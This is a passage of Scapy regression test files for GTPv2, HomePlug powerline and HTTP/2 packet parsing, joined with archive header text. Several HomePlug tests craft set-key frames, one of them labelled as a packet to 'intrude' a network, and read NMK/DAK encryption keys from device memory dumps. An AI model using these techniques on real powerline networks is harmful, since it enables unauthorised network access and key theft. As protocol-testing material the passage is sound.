"3333333333332222222222228100838408004580014c97af0000f011830e0a2a00010a2a000282d5084b013876a74820012c29694a667f4a0b000100080002081132547600004c0006001111111111114b000800000000000001e24056000f000632f42030391a8532f42030391a855300030032f420520001000157001900c6000010927f0000020000000000000000000000000000fe8247001a001961616161616161616161616161616161616161616161616161800001000063000100014f000500017f0000034d000400000000007f000100004800080000001640000052084e00200080c02306010000060000802110010000108106000000008306000000000005005d003c00490001006057001902c4000010927f0000020000000000000000000000000000fe825000160029080000000000000000000000000000000000000000720002006e005f0002000a00a10008000000164000005208e4701ad2" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[18] ie.uplink_rate == 5696 and ie.downlink_rate == 21000 = IE_MMBR, basic instantiation ie = IE_MMBR(ietype='Max MBR/APN-AMBR (MMBR)', length=8, uplink_rate=5696, downlink_rate=21000) ie.ietype == 161 and ie.uplink_rate == 5696 and ie.downlink_rate == 21000 = GTPHeader isn't an answer to not GTPHeader instance GTPHeader(gtp_type=2).answers(Ether()) == False = GTPHeader is an answer to a message with the same sequence number GTPHeader(seq=42).answers(GTPHeader(seq=42)) == True = GTPHeader isn't an answer to a message with a different sequence number GTPHeader(seq=42).answers(GTPHeader(seq=24)) == False = GTPV2EchoResponse answers assert (GTPHeader(seq=1)/GTPV2EchoResponse()).answers(GTPHeader(seq=1)/GTPV2EchoRequest()) assert not (GTPHeader(seq=1)/GTPV2EchoResponse()).answers(GTPHeader(seq=1)/GTPV2EchoResponse()) = GTPHeader post_build gtp = GTPHeader(gtp_type="create_session_req") / ("X"*32) gtp.show2() = GTPHeader hashret req = GTPHeader(gtp_type="create_session_req", seq=1) / ("X"*32) res = GTPHeader(gtp_type="create_session_res", seq=1) / ("Y"*32) req.hashret() == res.hashret() = IE_NotImplementedTLV h = "333333333333222222222222810080c808004588002937dd0000fd1115490a2a00010a2a0002084b084b00152d0e4001000900000100fe0001000daa000000003f1f382f" gtp = Ether(hex_bytes(h)) isinstance(gtp.IE_list[0], IE_NotImplementedTLV) isinstance(gtp.IE_list[0].payload, NoPayload) = IE_PrivateExtension, dissection h = "d89ef3da40e2fa163e956dce08004500005b0001000040115d400a0f0f3d01020304084b084b00470000482000620000000100000100ff0015000137020046462d46462d46462d46462d46462d4646ff00160001370100000100000000000000000000000000000000" gtp = Ether(hex_bytes(h)) ie1 = gtp.IE_list[0] ie2 = gtp.IE_list[1] ie1.enterprisenum == 311 and bytes_hex(ie1.proprietaryvalue) == b'020046462d46462d46462d46462d46462d4646' ie2.enterprisenum == 311 and bytes_hex(ie2.proprietaryvalue) == b'0100000100000000000000000000000000000000' = IE_PrivateExtension, basic instantiation ie1 = IE_PrivateExtension(ietype=255, length=21, SPARE=0, instance=0, enterprisenum=311, proprietaryvalue=hex_bytes('020046462d46462d46462d46462d46462d4646')) ie2 = IE_PrivateExtension(ietype=255, length=22, SPARE=0, instance=0, enterprisenum=311, proprietaryvalue=hex_bytes('0100000100000000000000000000000000000000')) ie1.enterprisenum == 311 and bytes_hex(ie1.proprietaryvalue) == b'020046462d46462d46462d46462d46462d4646' ie2.enterprisenum == 311 and bytes_hex(ie2.proprietaryvalue) == b'0100000100000000000000000000000000000000' scapy-2.4.4/test/contrib/homeplugav.uts000066400000000000000000000205271372370053500201760ustar00rootroot00000000000000% Regression tests for Scapy +Syntax check = Import the homeplugav layer from scapy.contrib.homeplugav import * #from scapy.all import # HomePlugAV ############ ############ + Basic tests * Those test are here mainly to check nothing has been broken = Building packets packet ~ basic HomePlugAV GetDeviceVersion StartMACRequest StartMACConfirmation ResetDeviceRequest ResetDeviceConfirmation NetworkInformationRequest ReadMACMemoryRequest ReadMACMemoryConfirmation ReadModuleDataRequest ReadModuleDataConfirmation WriteModuleDataRequest WriteModuleData2NVMRequest WriteModuleData2NVMConfirmation NetworkInfoConfirmationV10 NetworkInfoConfirmationV11 NetworkInfoV10 NetworkInfoV11 HostActionRequired LoopbackRequest LoopbackConfirmation SetEncryptionKeyRequest SetEncryptionKeyConfirmation ReadConfBlockRequest ReadConfBlockConfirmation QUAResetFactoryConfirm GetNVMParametersRequest GetNVMParametersConfirmation SnifferRequest SnifferConfirmation SnifferIndicate HomePlugAV() HomePlugAV()/GetDeviceVersion() HomePlugAV()/StartMACRequest() HomePlugAV()/StartMACConfirmation() HomePlugAV()/ResetDeviceRequest() HomePlugAV()/ResetDeviceConfirmation() HomePlugAV()/NetworkInformationRequest() HomePlugAV()/ReadMACMemoryRequest() HomePlugAV()/ReadMACMemoryConfirmation() HomePlugAV()/ReadModuleDataRequest() HomePlugAV()/ReadModuleDataConfirmation() HomePlugAV()/WriteModuleDataRequest() HomePlugAV()/WriteModuleData2NVMRequest() HomePlugAV()/WriteModuleData2NVMConfirmation() HomePlugAV()/NetworkInfoConfirmationV10() HomePlugAV()/NetworkInfoConfirmationV11() HomePlugAV()/NetworkInfoConfirmationV10()/NetworkInfoV10() HomePlugAV()/NetworkInfoConfirmationV11()/NetworkInfoV11() HomePlugAV()/HostActionRequired() HomePlugAV()/LoopbackRequest() HomePlugAV()/LoopbackConfirmation() HomePlugAV()/SetEncryptionKeyRequest() HomePlugAV()/SetEncryptionKeyConfirmation() HomePlugAV()/ReadConfBlockRequest() HomePlugAV()/ReadConfBlockConfirmation() HomePlugAV()/QUAResetFactoryConfirm() HomePlugAV()/GetNVMParametersRequest() HomePlugAV()/GetNVMParametersConfirmation() HomePlugAV()/SnifferRequest() HomePlugAV()/SnifferConfirmation() HomePlugAV()/SnifferIndicate() = Some important manipulations ~ field pkt = HomePlugAV()/SetEncryptionKeyRequest() pkt.NMK = "A" * 16 pkt.DAK = "B" * 16 assert raw(pkt) == b'\x00P\xa0\x00\xb0R\x00AAAAAAAAAAAAAAAA\x00\xff\xff\xff\xff\xff\xffBBBBBBBBBBBBBBBB' pkt = HomePlugAV()/ReadMACMemoryRequest() pkt.Address = 0x31337 pkt.Length = 0x666 assert raw(pkt) == b'\x00\x08\xa0\x00\xb0R7\x13\x03\x00f\x06\x00\x00' pkt = HomePlugAV()/ReadModuleDataRequest() pkt.Length = 0x666 pkt.Offset = 0x1337 assert raw(pkt) == b'\x00$\xa0\x00\xb0R\x02\x00f\x067\x13\x00\x00' pkt = HomePlugAV()/SnifferRequest() pkt.SnifferControl = 0x1 assert raw(pkt) == b"\x004\xa0\x00\xb0R\x01" = Some important fields parsing ~ field _xstr = b"\x00%\xa0\x00\xb0R\x00\x00\x00\x00\x02\x00\x00\x04\x00\x00\x00\x00`\x8d\x05\xf9\x04\x01\x00\x00\x88)\x00\x00\x87`[\x14\x00$\xd4okm\x1f\xedHu\x85\x16>\x86\x1aKM\xd2\xe91\xfc6\x00\x00603506A112119017\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00z]\xa9\xe2]\xedR\x8b\x85\\\xdf\xe8~\xe9\xb2\x14637000A112139290\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00FREEPLUG_LC_6400_4-1_1.0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbb\xcb\x0e\x10 \xad\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x0f\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00`\xe5\x16\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01\x03\x02\x80\x84\x1e\x00\x80\x84\x1e\x00\xe0\x93\x04\x00\xe0\x93\x04\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" pkt = HomePlugAV(_xstr) assert ReadModuleDataConfirmation in pkt assert pkt[ReadModuleDataConfirmation].ModuleID == 2 assert pkt[ReadModuleDataConfirmation].checksum == 4177890656 assert pkt[ReadModuleDataConfirmation].DataLen == 1024 assert pkt[ReadModuleDataConfirmation].Offset == 0 p = ModulePIB(pkt.ModuleData, pkt.Offset, pkt.DataLen) assert p.NMK == b"z]\xa9\xe2]\xedR\x8b\x85\\\xdf\xe8~\xe9\xb2\x14" assert p.DAK == b"\x1f\xedHu\x85\x16>\x86\x1aKM\xd2\xe91\xfc6" #= Discovery packet tests in local #~ netaccess HomePlugAV NetworkInfoConfirmationV10 NetworkInfoConfirmationV11 #pkt = Ether()/HomePlugAV() #old_debug_dissector = conf.debug_dissector #conf.debug_dissector = False #a = srp1(pkt, iface="eth0") #conf.debug_dissector = old_debug_dissector #a #pkt.version = a.version #pkt /= NetworkInformationRequest() #old_debug_dissector = conf.debug_dissector #conf.debug_dissector = False #a = srp1(pkt, iface="eth0") #conf.debug_dissector = old_debug_dissector #NetworkInfoConfirmationV10 in a or NetworkInfoConfirmationV11 in a #_ == True #= Reading local 0x400st octets of Software Image in Module Data blocks #~ netaccess HomePlugAV ReadModuleDataRequest #pkt = Ether()/HomePlugAV()/ReadModuleDataRequest(ModuleID=0x1) #old_debug_dissector = conf.debug_dissector #conf.debug_dissector = False #a = srp1(pkt, iface="eth0") #conf.debug_dissector = old_debug_dissector #a #len(a.ModuleData) == pkt.Length #_ == True = Testing length and checksum on a generated Write Module Data Request string = b"goodchoucroute\x00\x00" pkt = WriteModuleDataRequest(ModuleData=string) pkt = WriteModuleDataRequest(pkt.build()) pkt.show() a = pkt.checksum == chksum32(pkt.ModuleData) b = pkt.DataLen == len(pkt.ModuleData) a, b assert a and b scapy-2.4.4/test/contrib/homepluggp.uts000066400000000000000000000054761372370053500202040ustar00rootroot00000000000000% Regression tests for Scapy +Syntax check = Import the homeplugg layer from scapy.contrib.homepluggp import * import binascii #from scapy.all import # HomePlugGP ############ ############ + Basic tests * Those test are here mainly to check nothing has been broken = Most important packet to intrude a HPGP network ~ field _xstr = binascii.unhexlify("0108600000010000000000000000040000000227cfe35f01e50a01c8a074ad04537cb54b88b62d49b35b51000000c1f2") pkt = HomePlugAV(_xstr) assert pkt.NewKey == b'\xc8\xa0t\xad\x04S|\xb5K\x88\xb6-I\xb3[Q' assert pkt.NetworkID == b"'\xcf\xe3_\x01\xe5\n" = Some other important parsing tests ~ field _xstr = b'\x01\x08`\x00\x00\x01\xaa\xaa\xaa\xaa\x00\x00\x00\x00\x04\x00\x00\x00\x00\x96F`Y\xbf\xf8\x05\x0164\xc5\xdf.nO}r\x05\xf5\x8d9)S\xc0\x00\x00\x00' pkt = HomePlugAV(_xstr) assert pkt.MyNonce == 0xaaaaaaaa assert pkt.YourNonce == 0x0 assert pkt.PID == 4 assert pkt.NetworkID == b'\x96F`Y\xbf\xf8\x05' assert pkt.NewKey == b'64\xc5\xdf.nO}r\x05\xf5\x8d9)S\xc0' _xstr = b'\x01e`\x00\x00\xff\xff\xff\xff\xff\xff\n\x06\x01\xbc\xf2\xaf\xf1\x00\x04\x00\x00=\x83\xfb\xe2\xbb\x0b\xb8\x8a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' pkt = HomePlugAV(_xstr) assert pkt.MSoundTargetMAC == 'ff:ff:ff:ff:ff:ff' assert pkt.NumberMSounds == 10 assert pkt.TimeOut == 6 assert pkt.ResponseType == 1 assert pkt.ForwardingSTA == 'bc:f2:af:f1:00:04' assert pkt.SecurityType == 0 assert pkt.RunID == b'=\x83\xfb\xe2\xbb\x0b\xb8\x8a' _xstr = b'\x01n`\x00\x00\x00\x00\xbc\xf2\xaf\xf1\x00\x04=\x83\xfb\xe2\xbb\x0b\xb8\x8a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n:!\t\t\n\x06\x06\x0e\x07\x07\t\t\n\n\x0b\x0b\x0b\x0b\x0c\r\x0e\x0e\x0e\x0f\x0f\x0f\x0f\x11\x11\x11\x12\x12\x12\x12\x12\x13\x12\x12\x11\x11\x11\x10\x12\x12\x12\x11\x10\x0f\x0f\x10\x14\x12\x10\x10\x11\x12\x14\x16;' pkt = HomePlugAV(_xstr) assert len(pkt.Groups) == pkt.NumberOfGroups assert pkt.NumberOfSounds == 10 _xstr = b'\x01v`\x00\x00\x00\x00\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\t\xe8jdY,w\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' pkt = HomePlugAV(_xstr) assert pkt.SenderID == b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa' = Some important manipulations ~ field pkt = HomePlugAV(version=0x01)/CM_MNBC_SOUND_IND() pkt.RandomValue="AAAAAAAAAA" assert raw(pkt) == b'\x01v`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00AAAAAAAAAA\x00\x00\x00\x00\x00\x00' pkt = HomePlugAV()/CM_SET_KEY_REQ(YourNonce=0xaaaa, NewKey="b" * 16) assert raw(pkt) == b'\x00\x08`\x00\xb0R\x00\x00\x00\x00\x00\x00\x00\xaa\xaa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00bbbbbbbbbbbbbbbb' scapy-2.4.4/test/contrib/homeplugsg.uts000066400000000000000000000006701372370053500201760ustar00rootroot00000000000000% Regression tests for Scapy +Syntax check = Import the homepluggq layer from scapy.contrib.homeplugsg import * import binascii #from scapy.all import # HomePlugSG ############ ############ + Basic tests * Those test are here mainly to check nothing has been broken = Some important manipulations ~ field pkt=HomePlugAV(version=0x01)/VS_UART_CMD_REQ() pkt.UData = "AT+LOG?" assert raw(pkt) == b'\x01\x00\xa4\x00\x00\x00\x01AT+LOG?' scapy-2.4.4/test/contrib/http2.uts000066400000000000000000002270341372370053500170720ustar00rootroot00000000000000% HTTP/2 Campaign # Frames expressed as binary str were generated using the solicit and hpack-rs # Rust crates (https://github.com/mlalic/solicit, https://github.com/mlalic/hpack-rs) # except Continuation Frames, Priority Frames and Push Promise Frames that we generated # using Go x/net/http2 and x/net/http2/hpack modules. + Syntax check = Configuring Scapy ~ http2 frame hpack build dissect data headers priority settings rststream pushpromise ping goaway winupdate continuation hpackhdrtable helpers import scapy.config scapy.config.conf.debug_dissector=True import scapy.packet import scapy.fields import scapy.contrib.http2 as h2 import re flags_bit_pattern = re.compile(r'''^\s+flags\s+=\s+\[.*['"]bit [0-9]+['"].*\]$''', re.M) def expect_exception(e, c): try: eval(c) return False except e: return True + HTTP/2 UVarIntField Test Suite = HTTP/2 UVarIntField.any2i ~ http2 frame field uvarintfield f = h2.UVarIntField('value', 0, 5) expect_exception(AssertionError, 'f.any2i(None, None)') assert(f.any2i(None, 0) == 0) assert(f.any2i(None, 3) == 3) assert(f.any2i(None, 1<<5) == 1<<5) assert(f.any2i(None, 1<<16) == 1<<16) f = h2.UVarIntField('value', 0, 8) assert(f.any2i(None, b'\x1E') == 30) = HTTP/2 UVarIntField.m2i on full byte ~ http2 frame field uvarintfield f = h2.UVarIntField('value', 0, 8) assert(f.m2i(None, b'\x00') == 0) assert(f.m2i(None, b'\x03') == 3) assert(f.m2i(None, b'\xFE') == 254) assert(f.m2i(None, b'\xFF\x00') == 255) assert(f.m2i(None, b'\xFF\xFF\x03') == 766) #0xFF + (0xFF ^ 0x80) + (3<<7) = HTTP/2 UVarIntField.m2i on partial byte ~ http2 frame field uvarintfield f = h2.UVarIntField('value', 0, 5) assert(f.m2i(None, (b'\x00', 3)) == 0) assert(f.m2i(None, (b'\x03', 3)) == 3) assert(f.m2i(None, (b'\x1e', 3)) == 30) assert(f.m2i(None, (b'\x1f\x00', 3)) == 31) assert(f.m2i(None, (b'\x1f\xe1\xff\x03', 3)) == 65536) = HTTP/2 UVarIntField.getfield on full byte ~ http2 frame field uvarintfield f = h2.UVarIntField('value', 0, 8) r = f.getfield(None, b'\x00\x00') assert(r[0] == b'\x00') assert(r[1] == 0) r = f.getfield(None, b'\x03\x00') assert(r[0] == b'\x00') assert(r[1] == 3) r = f.getfield(None, b'\xFE\x00') assert(r[0] == b'\x00') assert(r[1] == 254) r = f.getfield(None, b'\xFF\x00\x00') assert(r[0] == b'\x00') assert(r[1] == 255) r = f.getfield(None, b'\xFF\xFF\x03\x00') assert(r[0] == b'\x00') assert(r[1] == 766) = HTTP/2 UVarIntField.getfield on partial byte ~ http2 frame field uvarintfield f = h2.UVarIntField('value', 0, 5) r = f.getfield(None, (b'\x00\x00', 3)) assert(r[0] == b'\x00') assert(r[1] == 0) r = f.getfield(None, (b'\x03\x00', 3)) assert(r[0] == b'\x00') assert(r[1] == 3) r = f.getfield(None, (b'\x1e\x00', 3)) assert(r[0] == b'\x00') assert(r[1] == 30) r = f.getfield(None, (b'\x1f\x00\x00', 3)) assert(r[0] == b'\x00') assert(r[1] == 31) r = f.getfield(None, (b'\x1f\xe1\xff\x03\x00', 3)) assert(r[0] == b'\x00') assert(r[1] == 65536) = HTTP/2 UVarIntField.i2m on full byte ~ http2 frame field uvarintfield f = h2.UVarIntField('value', 0, 8) assert(f.i2m(None, 0) == b'\x00') assert(f.i2m(None, 3) == b'\x03') assert(f.i2m(None, 254).lower() == b'\xfe') assert(f.i2m(None, 255).lower() == b'\xff\x00') assert(f.i2m(None, 766).lower() == b'\xff\xff\x03') = HTTP/2 UVarIntField.i2m on partial byte ~ http2 frame field uvarintfield f = h2.UVarIntField('value', 0, 5) assert(f.i2m(None, 0) == b'\x00') assert(f.i2m(None, 3) == b'\x03') assert(f.i2m(None, 30).lower() == b'\x1e') assert(f.i2m(None, 31).lower() == b'\x1f\x00') assert(f.i2m(None, 65536).lower() == b'\x1f\xe1\xff\x03') = HTTP/2 UVarIntField.addfield on full byte ~ http2 frame field uvarintfield f = h2.UVarIntField('value', 0, 8) assert(f.addfield(None, b'Toto', 0) == b'Toto\x00') assert(f.addfield(None, b'Toto', 3) == b'Toto\x03') assert(f.addfield(None, b'Toto', 254).lower() == b'toto\xfe') assert(f.addfield(None, b'Toto', 255).lower() == b'toto\xff\x00') assert(f.addfield(None, b'Toto', 766).lower() == b'toto\xff\xff\x03') = HTTP/2 UVarIntField.addfield on partial byte ~ http2 frame field uvarintfield f = h2.UVarIntField('value', 0, 5) assert(f.addfield(None, (b'Toto', 3, 4), 0) == b'Toto\x80') assert(f.addfield(None, (b'Toto', 3, 4), 3) == b'Toto\x83') assert(f.addfield(None, (b'Toto', 3, 4), 30).lower() == b'toto\x9e') assert(f.addfield(None, (b'Toto', 3, 4), 31).lower() == b'toto\x9f\x00') assert(f.addfield(None, (b'Toto', 3, 4), 65536).lower() == b'toto\x9f\xe1\xff\x03') = HTTP/2 UVarIntField.i2len on full byte ~ http2 frame field uvarintfield f = h2.UVarIntField('value', 0, 8) assert(f.i2len(None, 0) == 1) assert(f.i2len(None, 3) == 1) assert(f.i2len(None, 254) == 1) assert(f.i2len(None, 255) == 2) assert(f.i2len(None, 766) == 3) = HTTP/2 UVarIntField.i2len on partial byte ~ http2 frame field uvarintfield f = h2.UVarIntField('value', 0, 5) assert(f.i2len(None, 0) == 1) assert(f.i2len(None, 3) == 1) assert(f.i2len(None, 30) == 1) assert(f.i2len(None, 31) == 2) assert(f.i2len(None, 65536) == 4) + HTTP/2 FieldUVarLenField Test Suite = HTTP/2 FieldUVarLenField.i2m without adjustment ~ http2 frame field fielduvarlenfield f = h2.FieldUVarLenField('len', None, 8, length_of='data') class TrivialPacket(Packet): name = 'Trivial Packet' fields_desc= [ f, StrField('data', '') ] assert(f.i2m(TrivialPacket(data='a'*5), None) == b'\x05') assert(f.i2m(TrivialPacket(data='a'*255), None).lower() == b'\xff\x00') assert(f.i2m(TrivialPacket(data='a'), 2) == b'\x02') assert(f.i2m(None, 2) == b'\x02') assert(f.i2m(None, 0) == b'\x00') = HTTP/2 FieldUVarLenField.i2m with adjustment ~ http2 frame field fielduvarlenfield class TrivialPacket(Packet): name = 'Trivial Packet' fields_desc= [ f, StrField('data', '') ] f = h2.FieldUVarLenField('value', None, 8, length_of='data', adjust=lambda x: x-1) assert(f.i2m(TrivialPacket(data='a'*5), None) == b'\x04') assert(f.i2m(TrivialPacket(data='a'*255), None).lower() == b'\xfe') #Adjustment does not affect non-None value! assert(f.i2m(TrivialPacket(data='a'*3), 2) == b'\x02') + HTTP/2 HPackZString Test Suite = HTTP/2 HPackZString Compression ~ http2 hpack huffman string = 'Test' s = h2.HPackZString(string) assert(len(s) == 3) assert(raw(s) == b"\xdeT'") assert(s.origin() == string) string = 'a'*65535 s = h2.HPackZString(string) assert(len(s) == 40960) assert(raw(s) == (b'\x18\xc61\x8cc' * 8191) + b'\x18\xc61\x8c\x7f') assert(s.origin() == string) = HTTP/2 HPackZString Decompression ~ http2 hpack huffman s = b"\xdeT'" i, ibl = h2.HPackZString.huffman_conv2bitstring(s) assert(b'Test' == h2.HPackZString.huffman_decode(i, ibl)) s = (b'\x18\xc61\x8cc' * 8191) + b'\x18\xc61\x8c\x7f' i, ibl = h2.HPackZString.huffman_conv2bitstring(s) assert(b'a'*65535 == h2.HPackZString.huffman_decode(i, ibl)) assert( expect_exception(h2.InvalidEncodingException, 'h2.HPackZString.huffman_decode(*h2.HPackZString.huffman_conv2bitstring(b"\\xdeT"))') ) + HTTP/2 HPackStrLenField Test Suite = HTTP/2 HPackStrLenField.m2i ~ http2 hpack field hpackstrlenfield f = h2.HPackStrLenField('data', h2.HPackLiteralString(''), length_from=lambda p: p.len, type_from='type') class TrivialPacket(Packet): name = 'Trivial Packet' fields_desc = [ IntField('type', None), IntField('len', None), f ] s = f.m2i(TrivialPacket(type=0, len=4), b'Test') assert(isinstance(s, h2.HPackLiteralString)) assert(s.origin() == 'Test') s = f.m2i(TrivialPacket(type=1, len=3), b"\xdeT'") assert(isinstance(s, h2.HPackZString)) assert(s.origin() == 'Test') = HTTP/2 HPackStrLenField.any2i ~ http2 hpack field hpackstrlenfield f = h2.HPackStrLenField('data', h2.HPackLiteralString(''), length_from=lambda p: p.len, type_from='type') class TrivialPacket(Packet): name = 'Trivial Packet' fields_desc = [ IntField('type', None), IntField('len', None), f ] s = f.any2i(TrivialPacket(type=0, len=4), b'Test') assert(isinstance(s, h2.HPackLiteralString)) assert(s.origin() == 'Test') s = f.any2i(TrivialPacket(type=1, len=3), b"\xdeT'") assert(isinstance(s, h2.HPackZString)) assert(s.origin() == 'Test') s = h2.HPackLiteralString('Test') s2 = f.any2i(TrivialPacket(type=0, len=4), s) assert(s.origin() == s2.origin()) s = h2.HPackZString('Test') s2 = f.any2i(TrivialPacket(type=1, len=3), s) assert(s.origin() == s2.origin()) s = h2.HPackLiteralString('Test') s2 = f.any2i(None, s) assert(s.origin() == s2.origin()) s = h2.HPackZString('Test') s2 = f.any2i(None, s) assert(s.origin() == s2.origin()) # Verifies that one can fuzz s = h2.HPackLiteralString('Test') s2 = f.any2i(TrivialPacket(type=1, len=1), s) assert(s.origin() == s2.origin()) = HTTP/2 HPackStrLenField.i2m ~ http2 hpack field hpackstrlenfield f = h2.HPackStrLenField('data', h2.HPackLiteralString(''), length_from=lambda p: p.len, type_from='type') s = b'Test' s2 = f.i2m(None, h2.HPackLiteralString(s)) assert(s == s2) s = b'Test' s2 = f.i2m(None, h2.HPackZString(s)) assert(s2 == b"\xdeT'") = HTTP/2 HPackStrLenField.addfield ~ http2 hpack field hpackstrlenfield f = h2.HPackStrLenField('data', h2.HPackLiteralString(''), length_from=lambda p: p.len, type_from='type') s = b'Test' s2 = f.addfield(None, b'Toto', h2.HPackLiteralString(s)) assert(b'Toto' + s == s2) s = b'Test' s2 = f.addfield(None, b'Toto', h2.HPackZString(s)) assert(s2 == b"Toto\xdeT'") = HTTP/2 HPackStrLenField.getfield ~ http2 hpack field hpackstrlenfield f = h2.HPackStrLenField('data', h2.HPackLiteralString(''), length_from=lambda p: p.len, type_from='type') class TrivialPacket(Packet): name = 'Trivial Packet' fields_desc = [ IntField('type', None), IntField('len', None), f ] r = f.getfield(TrivialPacket(type=0, len=4), b'TestToto') assert(isinstance(r, tuple)) assert(r[0] == b'Toto') assert(isinstance(r[1], h2.HPackLiteralString)) assert(r[1].origin() == 'Test') r = f.getfield(TrivialPacket(type=1, len=3), b"\xdeT'Toto") assert(isinstance(r, tuple)) assert(r[0] == b'Toto') assert(isinstance(r[1], h2.HPackZString)) assert(r[1].origin() == 'Test') = HTTP/2 HPackStrLenField.i2h / i2repr ~ http2 hpack field hpackstrlenfield f = h2.HPackStrLenField('data', h2.HPackLiteralString(''), length_from=lambda p: p.len, type_from='type') s = b'Test' assert(f.i2h(None, h2.HPackLiteralString(s)) == 'HPackLiteralString(Test)') assert(f.i2repr(None, h2.HPackLiteralString(s)) == repr('HPackLiteralString(Test)')) assert(f.i2h(None, h2.HPackZString(s)) == 'HPackZString(Test)') assert(f.i2repr(None, 